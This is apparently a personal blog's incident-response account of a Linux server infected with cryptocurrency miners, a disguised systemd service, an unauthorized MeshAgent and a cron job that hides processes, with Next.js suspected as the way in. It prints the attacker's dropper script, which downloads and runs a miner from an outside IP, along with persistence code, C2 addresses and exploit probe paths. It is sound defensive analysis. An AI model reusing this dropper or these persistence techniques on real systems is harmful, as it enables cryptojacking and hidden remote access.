My Server Got Hacked: 15 Hours Fighting Crypto Miners and Hidden Backdoors

It was supposed to be a relaxing Friday evening.

Instead, I received an alarming message from my cloud provider:

"A large amount of outbound traffic is being generated from your server to a Chinese IP address."

I immediately connected to the server via SSH.

The CPU usage was nearly 100%.

What followed was approximately 15 hours of incident response, involving cryptocurrency miners, hidden systemd services, multiple persistence mechanisms, a remote management backdoor, and a suspected Next.js vulnerability.

Here's what happened, what I discovered, and what I learned.

1. The Incident Begins

Friday, December 5, 2025

After receiving the warning from my cloud provider, the first thing I did was run:

top 

One process immediately caught my attention:

PID USER PR NI VIRT RES SHR S %CPU %MEM COMMAND 2096450 root 20 0 7820 1368 1168 R 93.3 0.0 strings 

Wait... strings?

Why was a simple utility consuming over 90% of the CPU?

I killed the process.

But it came back.

Every time I terminated it, another process appeared with a different PID.

Clearly, something was keeping it alive.

2. Investigating the Process Tree

I started tracing the parent-child relationships using pstree.

pstree -ap 

The result revealed something interesting:

systemd,1 └─sh,882056 /dev/health.sh ├─grep,2110109 -q xmrig └─strings,2110108 /proc/2497/exe 

There was a shell script running from:

/dev/health.sh 

I had never created this script.

Even more suspiciously, five instances of it were running simultaneously.

Examining health.sh

I opened the script to understand what it was doing.

while true; do for proc_dir in /proc/[0-9]*; do pid=${proc_dir##*/} if strings "/proc/$pid/exe" 2>/dev/null | grep -q xmrig; then kill -9 "$pid" continue fi result=$(ls -l "/proc/$pid/exe" 2>/dev/null) case "$result" in *"(deleted)"* | *"xmrig"* | *"watcher"* | *"/tmp/a"* | *"softirq"* | *"rondo"*) kill -9 "$pid" ;; esac done sleep 45 done 

This script continuously scanned running processes every 45 seconds.

It inspected executable files under /proc and terminated processes matching specific patterns, including:

• xmrig
• watcher
• softirq
• rondo
• /tmp/a

Interestingly, the script appeared to be killing other mining processes.

My interpretation was that the attacker wanted to eliminate competing miners and maintain exclusive access to the server's computing resources.

However, this script was only part of the infection.

3. Discovering the Actual Mining Payload

The more important file was located at:

/dev/shm/bts 

Its contents explained how the mining operation worked.

#!/bin/bash pkill -9 xmrig P="fghgf" R="/dev" if ! pgrep $P > /dev/null; then busybox wget http://193.34.213.150/nuts/x -O->/tmp/$P busybox wget http://193.34.213.150/nuts/lc -O->/tmp/config.json chmod 777 /tmp/$P /tmp/$P -c /tmp/config.json -B & fi if ! pgrep "health.sh"; then cat <<'EOF' > "${R}/health.sh" # ... health.sh content auto-generated ... EOF chmod 777 "${R}/health.sh" ${R}/health.sh & fi echo MEOWWWWWWWWW 

The execution flow was relatively straightforward:

1. Kill existing xmrig processes.
2. Download a mining executable and configuration file from an attacker-controlled server.
3. Make the downloaded executable runnable.
4. Launch the miner in the background.
5. Recreate health.sh if it is missing.

And finally:

echo MEOWWWWWWWWW 

Yes. The attacker actually left a MEOWWWWWWWWW message in the script.

Not exactly what I expected to find during a security incident.

What made this dangerous?

The payload was not simply a standalone miner.

It also included mechanisms to maintain the mining operation and interfere with other processes.

This meant that killing one suspicious process would not necessarily stop the infection.

Unfortunately, I learned that lesson the hard way.

4. My First Attempt at Removal

At this point, I believed I had identified the malicious components.

I terminated the suspicious processes:

pkill -9 -f "health.sh" pkill -9 -f "fghgf" 

Then removed the files:

rm -f /dev/health.sh rm -f /dev/shm/bts rm -f /tmp/fghgf rm -f /tmp/config.json 

I also blocked the identified IP address using UFW:

ufw deny out to 193.34.213.150 ufw deny in from 193.34.213.150 

Additionally, I applied country-based access restrictions through my cloud provider's firewall.

The CPU usage returned to normal.

Everything looked fine.

I thought the incident was over.

It wasn't.

5. Ten Hours Later: The Miner Returns

Saturday, December 6, 2025

Around 10 AM, I checked the server again.

The CPU usage had reached 200%.

A new suspicious process was running:

PID USER PR NI VIRT RES SHR S %CPU COMMAND 2313800 root 20 0 ... ... ... R 200.0 p9gzSA 

This time, the executable had a different name.

p9gzSA 

Its command line revealed another mining endpoint:

/root/aO7j/p9gzSA -o www.digitaloceana.top:80 --tls 

The attacker was not relying on a single executable or endpoint.

My initial cleanup had removed the visible symptoms, but something deeper was still active.

I decided to investigate the entire system.

6. Hidden Persistence Through systemd

While examining system services, I discovered a suspicious unit file:

cat /usr/lib/systemd/system/systemd-agent.service 

Its contents were:

[Unit] Description=System Daemon Wants=network-online.target After=network-online.target [Service] ExecStart=/bin/systemd-daemon --user Restart=always User=root [Install] WantedBy=multi-user.target 

At first glance, the name looked legitimate.

systemd-agent.service

The description was equally generic:

System Daemon

But the service was not part of my intended system configuration.

Why this mattered

Several details stood out:

• Restart=always would restart the process whenever it exited.
• User=root meant the executable ran with root privileges.
• WantedBy=multi-user.target allowed the service to be enabled for normal system startup.
• The executable name resembled a legitimate system component.

This explained why simply killing processes was not enough.

The system itself could restart the malicious executable.

Additional C2 Infrastructure

During further analysis, I identified four hardcoded IP addresses associated with the suspicious components:

185.247.224.41 87.98.162.88 82.221.103.244 67.215.246.10 

The attacker had apparently prepared multiple endpoints rather than depending on a single server.

Blocking one address was never going to be a complete solution.

7. A Remote Management Backdoor: MeshAgent

The next discovery was even more concerning.

I found a directory containing a MeshAgent executable:

ls /usr/local/mesh_services/meshagent/ 

Output:

meshagent 

MeshAgent is associated with MeshCentral, a legitimate remote device management platform.

But in this context, I had never authorized its installation.

The configuration referenced:

MeshServer: wss://72.62.67.33:443/agent.ashx MeshName: all_notcloud 

This suggested that the attacker had installed a remote management agent.

The incident was no longer just about cryptocurrency mining.

An unauthorized remote management tool could potentially provide persistent access to the compromised server.

A Suspicious Cron Job

I also discovered an unusual crontab entry:

* * * * * pgrep -f meshagent | while read pid; do \ mountpoint -q /proc/$pid || mount -o bind /tmp/empty /proc/$pid 2>/dev/null; \ done 

This command ran every minute.

It attempted to bind-mount /tmp/empty over /proc/$pid for processes matching meshagent.

This appeared to be an attempt to interfere with process inspection or visibility, although the precise effect would depend on the mount configuration and whether the command succeeded.

By this point, I had identified multiple layers of suspicious activity:

• Cryptocurrency mining processes
• Scripts that recreated malicious components
• A disguised systemd service
• Multiple external endpoints
• An unauthorized remote management agent
• A cron-based process manipulation mechanism

Removing the miner alone was clearly insufficient.

8. Tracing the Initial Intrusion

I realized that my first response had focused entirely on removing malicious files.

I had not answered the most important question:

How did the attacker get into the server in the first place?

I started by reviewing SSH authentication logs.

grep -i "Accepted" /var/log/auth.log 

I couldn't find evidence of a suspicious external SSH login.

That pushed my investigation toward the web applications hosted on the server.

Analyzing Web Server Access Logs

I reviewed the web server access logs chronologically.

The activity suggested that reconnaissance attempts had begun in late November.

More aggressive attack traffic appeared around December 2.

On December 5, I found evidence of remote code execution attempts.

On December 6, the logs showed a large-scale scan involving numerous potential RCE vectors within a short period.

Some of the suspicious requests targeted:

/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh php://input eval-stdin.php call_user_func_array pearcmd&+config-create 

These corresponded to well-known attack techniques:

The attacker, or automated scanning infrastructure, appeared to be probing a variety of known vulnerabilities.

But one application stood out.

9. The Suspected Entry Point: Next.js RSC

The server was also hosting a Next.js application.

While reviewing the access logs, I noticed numerous POST requests targeting endpoints associated with React Server Components and Server Actions.

Examples included:

POST /_next/flight POST /_react/flight POST /_next/server-actions 

These requests raised concerns about exploitation attempts targeting React Server Components serialization and deserialization behavior.

At the time of the incident, critical RCE vulnerabilities affecting React Server Components and certain Next.js deployments had become a major security concern.

The observed traffic was consistent with attempts to exploit this class of vulnerability.

Why I Suspected Next.js

Several observations pointed toward the application:

1. The server was running a Next.js project.
2. The access logs contained suspicious POST traffic targeting RSC-related endpoints.
3. The incident occurred during a period of active exploitation of RSC-related vulnerabilities.
4. My first cleanup did not address the potentially vulnerable application.
5. The server experienced another mining incident after the initial removal.

Based on the evidence available to me, the Next.js application was the strongest suspected entry point.

However, the access logs alone did not conclusively prove which request achieved code execution.

Confirming the exact exploit would require additional evidence, such as payload analysis, application version verification, process execution telemetry, or forensic correlation.

The important lesson was unchanged:

Removing malware without addressing the vulnerability that may have allowed the intrusion leaves the system exposed.

10. Final Response: Rebuilding the Server

After discovering the multiple persistence mechanisms, I no longer trusted the integrity of the operating system.

The suspicious components had operated with root privileges.

There was no reliable way to guarantee that every malicious modification had been discovered.

Instead of continuing to remove individual files, I chose to rebuild.

The response included:

• Applying security patches and updating vulnerable application dependencies.
• Decommissioning the compromised server.
• Migrating the application to a newly provisioned server.
• Reviewing firewall and network access rules.
• Reassessing the application's exposed attack surface.

The old server was ultimately removed.

A clean environment was the safer choice than continuing to operate a system whose integrity could no longer be trusted.

11. What I Learned

1. Normal CPU usage does not mean the server is clean

During my first response, I treated the CPU returning to normal as a sign of success.

That was my biggest mistake.

The miner had stopped, but persistence mechanisms remained.

2. Attackers may establish multiple persistence mechanisms

In this incident, I discovered suspicious components involving:

• Shell scripts
• systemd services
• Cron jobs
• Remote management software

Finding one malicious process does not mean you have found the entire compromise.

3. Always investigate the initial access vector

Deleting the payload does not fix the vulnerability that allowed it to execute.

Incident response must include identifying and addressing the original entry point wherever possible.

4. Root-level compromise changes the recovery strategy

Once an attacker has gained root-level execution, manually removing suspicious files cannot establish that the system is trustworthy again.

Rebuilding from a known-good environment is often the safest recovery approach.

5. Logs are essential

Without web server access logs, I would have had very little information about the attack timeline.

The chronological log analysis helped me understand how the incident developed and where to focus the investigation.

6. Security updates cannot be postponed indefinitely

Even a small web application can become an entry point for a much larger compromise.

Keeping frameworks, runtimes, and dependencies updated is essential.

Final Thoughts

What started as a suspicious CPU spike turned into a 15-hour investigation.

I found cryptocurrency miners, a disguised systemd service, multiple external endpoints, an unauthorized MeshAgent installation, and evidence suggesting attempts to exploit a Next.js RSC vulnerability.

The most important lesson was simple:

Don't just remove the malware. Find out how it got there, eliminate persistence, and restore trust in the environment.

During the first response, I focused on making the symptoms disappear.

During the second response, I finally started investigating the underlying compromise.

That difference changed how I think about server security and incident response.

If you've dealt with a similar Linux server compromise, I'd be interested to hear what persistence mechanisms you encountered and how you approached recovery.

Originally published on my personal blog: Server Gets Hacked — Crypto Miner Incident Response

All IP addresses, domains, commands, and process names shown in this article were observed during the incident. They are included for security research and incident analysis purposes. Their presence does not establish current malicious activity or attribution.